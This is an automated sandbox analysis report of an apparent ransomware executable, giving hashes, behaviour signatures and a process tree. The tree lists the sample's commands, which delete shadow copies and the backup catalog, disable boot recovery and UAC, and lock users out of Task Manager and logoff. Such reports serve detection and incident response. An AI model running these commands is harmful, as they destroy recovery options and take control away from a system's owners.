Analysis

  • max time kernel
    138s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-11-2022 10:03

General

  • Target

    b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0.exe

  • Size

    1.1MB

  • MD5

    ffc6b559c24b8d82afcb5c01bb5619d9

  • SHA1

    8e068e9c486769716d9685f85687b531ab3a88cf

  • SHA256

    b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0

  • SHA512

    48cf29ecbf184f9d96b9db95190657604c7fb9570046abbeba70d99c6748afbea5f698bb4bb91b1b9b3b3ab7abc56c36a3230aa20c58a99269fe0a4884522191

  • SSDEEP

    24576:NyBzKGHF0bxTCFvXwKk/aISpu4Qc6F3v1HT2BzN2tgGS3YzYho1yWEsWbj28Q5m:AV4xTCzu4Qc6/F8S8bzQ

Malware Config

Signatures

  • Deletes NTFS Change Journal 2 TTPs 1 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • UAC bypass 3 TTPs 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 15 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 12 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0.exe
    "C:\Users\Admin\AppData\Local\Temp\b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0.exe"
    1⤵
    • Checks computer location settings
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1472
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
      2⤵
        PID:5088
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
        2⤵
          PID:5068
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1448
          • C:\Windows\system32\vssadmin.exe
            vssadmin.exe Delete Shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4460
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2196
          • C:\Windows\system32\vssadmin.exe
            vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
            3⤵
            • Interacts with shadow copies
            PID:3900
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3196
          • C:\Windows\system32\vssadmin.exe
            vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
            3⤵
            • Interacts with shadow copies
            PID:1064
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:384
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} recoveryenabled No
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:3136
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4624
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:508
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2208
          • C:\Windows\system32\vssadmin.exe
            vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
            3⤵
            • Enumerates connected drives
            • Interacts with shadow copies
            PID:1704
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:440
          • C:\Windows\system32\fsutil.exe
            fsutil.exe usn deletejournal /D C:
            3⤵
            • Deletes NTFS Change Journal
            PID:844
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1468
          • C:\Windows\system32\vssadmin.exe
            vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
            3⤵
            • Enumerates connected drives
            • Interacts with shadow copies
            PID:660
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:220
          • C:\Windows\system32\wbadmin.exe
            wbadmin.exe delete catalog -quiet
            3⤵
            • Deletes backup catalog
            PID:4696
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2660
          • C:\Windows\system32\vssadmin.exe
            vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
            3⤵
            • Enumerates connected drives
            • Interacts with shadow copies
            PID:812
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
          2⤵
            PID:1856
            • C:\Windows\system32\vssadmin.exe
              vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
              3⤵
              • Enumerates connected drives
              • Interacts with shadow copies
              PID:3972
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
            2⤵
              PID:1512
              • C:\Windows\system32\schtasks.exe
                schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                3⤵
                  PID:2524
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                2⤵
                  PID:3716
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                    3⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:4596
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                  2⤵
                    PID:4208
                    • C:\Windows\system32\reg.exe
                      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                      3⤵
                      • UAC bypass
                      PID:5084
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                    2⤵
                      PID:4516
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                        3⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:4848
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                      2⤵
                        PID:528
                        • C:\Windows\system32\reg.exe
                          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                          3⤵
                            PID:5020
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                          2⤵
                            PID:3576
                            • C:\Windows\system32\reg.exe
                              reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                              3⤵
                                PID:3528
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                              2⤵
                                PID:3108
                                • C:\Windows\system32\vssadmin.exe
                                  vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                                  3⤵
                                  • Enumerates connected drives
                                  • Interacts with shadow copies
                                  PID:3004
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                2⤵
                                  PID:4364
                                  • C:\Windows\system32\vssadmin.exe
                                    vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                    3⤵
                                    • Interacts with shadow copies
                                    PID:4564
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                  2⤵
                                    PID:3148
                                    • C:\Windows\system32\reg.exe
                                      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                      3⤵
                                        PID:952
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
                                      2⤵
                                        PID:3040
                                        • C:\Windows\system32\vssadmin.exe
                                          vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
                                          3⤵
                                          • Interacts with shadow copies
                                          PID:2052
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded
                                        2⤵
                                          PID:2640
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
                                          2⤵
                                            PID:1052
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:3636
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
                                              2⤵
                                                PID:3680
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:1244
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded
                                                  2⤵
                                                    PID:2568
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
                                                    2⤵
                                                      PID:3624
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:4176
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=unbounded
                                                        2⤵
                                                          PID:736
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:3784
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB
                                                            2⤵
                                                              PID:2648
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:3392
                                                            • C:\Windows\system32\vssvc.exe
                                                              C:\Windows\system32\vssvc.exe
                                                              1⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4316
                                                            • C:\Windows\system32\wbengine.exe
                                                              "C:\Windows\system32\wbengine.exe"
                                                              1⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2216
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                              1⤵
                                                                PID:4100

                                                              Network

                                                              MITRE ATT&CK Enterprise v6

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